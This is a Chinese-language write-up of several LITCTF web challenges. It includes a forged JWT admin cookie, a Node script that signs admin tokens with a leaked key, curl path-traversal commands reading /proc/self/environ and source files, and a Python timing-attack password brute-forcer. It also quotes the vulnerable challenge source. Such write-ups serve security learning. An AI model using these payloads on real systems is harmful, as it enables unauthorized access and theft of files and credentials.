anti-inspect
Curl访问得到
1 2 3 4 5 6 7
| const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}"; while (true) console.log( flag, "background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;" );
|
LITCTF{your_fOund_teh_fI@g_94932}
jwt-1
没key的jwt
抓登录的包
1 2 3 4 5 6 7 8 9 10 11 12
| GET /flag HTTP/1.1 Host: litctf.org:31781 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://litctf.org:31781 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://litctf.org:31781/login/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTE0NTE0MTk4MTkiLCJhZG1pbiI6dHJ1ZX0.orvLsIOWCHK7lreLD-3EQXyjnppymPnpAp16bw-okV4 Connection: close
|
LITCTF{o0ps_forg0r_To_v3rify_1re4DV9}
jwt-2
js生成的jwt
附件直接给了key
const jwtSecret = "xook";
复用附件源码来生成jwt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| const crypto = require('crypto');
const jwtSecret = "xook";
const jwtHeader = Buffer.from( JSON.stringify({ alg: "HS256", typ: "JWT" }), "utf-8" ).toString("base64").replace(/=/g, "");
const sign = (payload) => { const jwtPayload = Buffer.from(JSON.stringify(payload), "utf-8") .toString("base64") .replace(/=/g, ""); const signature = crypto.createHmac('sha256', jwtSecret) .update(jwtHeader + '.' + jwtPayload) .digest('base64') .replace(/=/g, ''); return jwtHeader + "." + jwtPayload + "." + signature; };
const user = { name: "114514", admin: true };
const token = sign(user);
console.log("Generated JWT:", token);
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTE0NTE0IiwiYWRtaW4iOnRydWV9.Fc+hyMRa6S2iv4pYtZTEhQ4guMBiKo8veEulUNbBI8U
traversed
dirsearch发现存在目录遍历
1
| curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ --output -
|
得到
1
| NODE_VERSION=16.20.2HOSTNAME=faddb7f3a9c2YARN_VERSION=1.22.19BUN_INSTALL=/root/.bunHOME=/rootPATH=/root/.bun/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/app
|
查看cmdline
1
| curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/cmdline --output -
|
发现源码文件是index.ts
结合environ得到网站目录是/app
1
| curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/app/index.ts --output -
|
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import http from "http"; import fs from "node:fs/promises"; import path from "node:path"; import url from "node:url";
const server = http.createServer(async (req, res) => { const rawPath = decodeURIComponent(req.url!);
const absPath = path.join(__dirname, "site", rawPath);
try { const file = await fs.readFile(absPath, "utf-8"); res.writeHead(200, { "Content-Type": "text/plain" }); res.end(file); } catch { try { const indexFile = await fs.readFile(path.join(absPath, "index.html"), "utf-8"); res.writeHead(200, { "Content-Type": "text/html" }); res.end(indexFile); } catch { res.writeHead(404, { "Content-Type": "text/plain" }); res.end("404 not found"); } } });
server.listen(process.env.PORT || 3000, () => { console.log("Server started"); });
|
没提示flag在哪
猜测在网站目录
1 2
| curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/app/flag.txt --output - LITCTF{backtr@ked_230fim0}
|
kirbytime
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__)
@app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login.html', message="you need 7 chars") for i in range(len(password)): if password[i] != real[i]: message = "incorrect" return render_template('login.html', message=message) else: time.sleep(1) if password == real: message = "yayy! hi kirby"
return render_template('login.html', message=message)
if __name__ == '__main__': app.run(host='0.0.0.0')
|
if password[i] != real[i]逐个判断,如果正确会延时1s,利用这个特性来一个个爆出来正确密码
密码是固定的
靶机只有10分钟,多跑几遍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import requests import string import time
url = 'http://34.31.154.223:56812/' charset = string.ascii_letters + string.digits password_length = 7
found_password = "kBySlaY" i = 6
while 1: for char in charset: attempt_password = found_password + char + "-" * (password_length - len(found_password) - 1) start_time = time.time() response = requests.post(url, data={'password': attempt_password}) elapsed_time = time.time() - start_time print(f"尝试密码: {attempt_password},响应时间: {elapsed_time:.4f}秒")
if (elapsed_time > (i + 1) and elapsed_time < (i+2) ) : found_password += char print(f"找到了第 {i + 1} 位密码字符: {char} 响应时间: {elapsed_time:.4f}秒") i +=1 time.sleep(3) break else: continue
print(f"最终找到的密码是: {found_password}")
|